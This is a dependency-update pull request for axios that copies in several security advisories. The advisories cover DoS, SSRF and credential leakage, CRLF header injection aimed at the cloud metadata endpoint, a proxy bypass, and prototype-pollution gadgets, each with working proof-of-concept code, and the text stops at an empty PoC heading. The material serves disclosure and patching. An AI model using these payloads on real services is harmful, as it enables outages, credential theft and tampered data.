Update dependency axios to v1.18.0 [SECURITY] by renovate[bot] · Pull Request #99 · API-Flows/api-flows-studio

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component:lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
│
▼
mergeConfig(defaults, userConfig)
│
│ parseReviver NOT in defaults → NOT iterated by mergeConfig
│ parseReviver NOT in userConfig → NOT iterated by mergeConfig
│ Merged config has NO own parseReviver property
│
▼
transformData.call(config, config.transformResponse, response)
│
│ Default transformResponse function runs (NOT overridden)
│
▼
defaults/index.js:124: JSON.parse(data, this.parseReviver)
│
│ this = config (merged config object, plain {})
│ config.parseReviver → NOT own property → traverses prototype chain
│ → finds Object.prototype.parseReviver → attacker's function!
│
▼
JSON.parse calls reviver for EVERY key-value pair
│
│ Attacker can: read original value, modify it, return anything
│ No validation, no constraints, no assertOptions check
│
▼
Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File:lib/defaults/index.js, line 124

transformResponse: [functiontransformResponse(data){// ... transitional checks ...if(data&&utils.isString(data)&&((forcedJSONParsing&&!this.responseType)||JSONRequested)){// ...try{returnJSON.parse(data,this.parseReviver);// ^^^^^^^^^^^^^^^^^// this = config// config.parseReviver → prototype chain → attacker's function}catch(e){// ...}}returndata;},],

Proof of Concept

